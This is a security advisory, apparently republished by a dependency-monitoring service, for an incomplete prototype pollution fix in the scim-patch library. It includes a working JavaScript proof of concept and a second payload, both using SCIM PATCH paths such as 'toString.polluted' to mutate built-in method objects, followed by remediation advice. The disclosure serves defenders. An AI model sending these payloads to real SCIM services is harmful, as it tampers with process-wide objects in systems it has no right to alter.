Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-2mhw-wcx5-v3xj
Summary
Incomplete Prototype Pollution Fix Allows Mutation of Inherited Built-in Method Objects
scim-patch blocks direct dangerous path segments such as __proto__, constructor, and prototype, but still traverses inherited properties when applying SCIM patch paths.
An attacker who controls a SCIM PATCH operation can use paths such as toString.polluted to mutate shared built-in function objects, for example Object.prototype.toString.
Impact
A malicious patch can add attacker-controlled properties to inherited built-in method objects. The impact is narrower than direct Object.prototype pollution, but the mutation is process-global and may affect application logic that reads properties from inherited methods.
Details
Affected code paths:
navigate()reads inherited properties viaschema[subPath]assign()useskey in obj, which treats inherited properties as existing
Because inherited keys are followed, safe-looking path segments such as toString can resolve to shared built-in objects.
PoC
const assert = require("node:assert/strict");
const { scimPatch } = require("./lib/src/scimPatch");
const victim = {
schemas: ["urn:ietf:params:scim:schemas:core:2.0:User"],
userName: "alice",
active: true,
emails: [{ value: "alice@example.com", primary: true }],
meta: { created: "x", lastModified: "x", resourceType: "User" }
};
try {
assert.equal(({}).toString.scimPatchPolluted, undefined);
scimPatch(victim, [
{ op: "add", path: "toString.scimPatchPolluted", value: "polluted" }
]);
assert.equal(({}).toString.scimPatchPolluted, "polluted");
console.log(({}).toString.scimPatchPolluted);
} finally {
delete Object.prototype.toString.scimPatchPolluted;
}
Output:
polluted
A no-path operation with a dotted value key is also affected:
scimPatch(victim, [
{ op: "add", value: { "toString.noPathPolluted": "polluted" } }
]);
Remediation
Do not traverse inherited properties while resolving patch paths. Use own-property checks such as Object.hasOwn(obj, key) and create missing containers only for safe own keys.
Keep the existing denylist for __proto__, constructor, and prototype as defense in depth.
Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.
Drag and drop some file here, or click to select
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard